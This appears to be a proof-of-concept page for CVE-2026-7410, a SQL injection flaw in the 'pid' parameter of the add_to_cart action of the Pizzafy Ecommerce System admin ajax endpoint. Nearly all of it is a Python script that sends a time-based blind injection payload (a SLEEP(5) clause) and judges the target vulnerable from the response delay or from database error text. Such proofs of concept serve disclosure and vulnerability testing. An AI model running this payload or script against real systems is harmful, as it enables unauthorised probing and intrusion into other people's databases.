CVE-2026-7410 Pizzafy电商系统SQL注入漏洞

# Proof of Concept for CVE-2026-7410 # Target: SourceCodester Pizzafy Ecommerce System 1.0 # Endpoint: /admin/ajax.php?action=add_to_cart # Parameter: pid (SQL Injection) import requests def check_sqli(target_url): """Check if the target is vulnerable to SQL Injection via pid parameter.""" # Payload to test for time-based blind SQL injection or syntax error # Adjust payload based on database backend (MySQL assumed here) payload = "1' AND SLEEP(5)-- -" # Construct the full URL url = f"{target_url}/admin/ajax.php" # Data parameters data = { "action": "add_to_cart", "pid": payload } try: print(f"[+] Sending request to {url}...") response = requests.post(url, data=data, timeout=10) # Analyze response time or content to determine vulnerability if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection vulnerability detected (Time-based delay).") print(f"[+] Response Time: {response.elapsed.total_seconds()} seconds") elif "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[!] Potential SQL Injection vulnerability detected (Error message).") else: print("[-] Vulnerability not confirmed or target patched.") except requests.exceptions.RequestException as e: print(f"[Error] Request failed: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_sqli(target)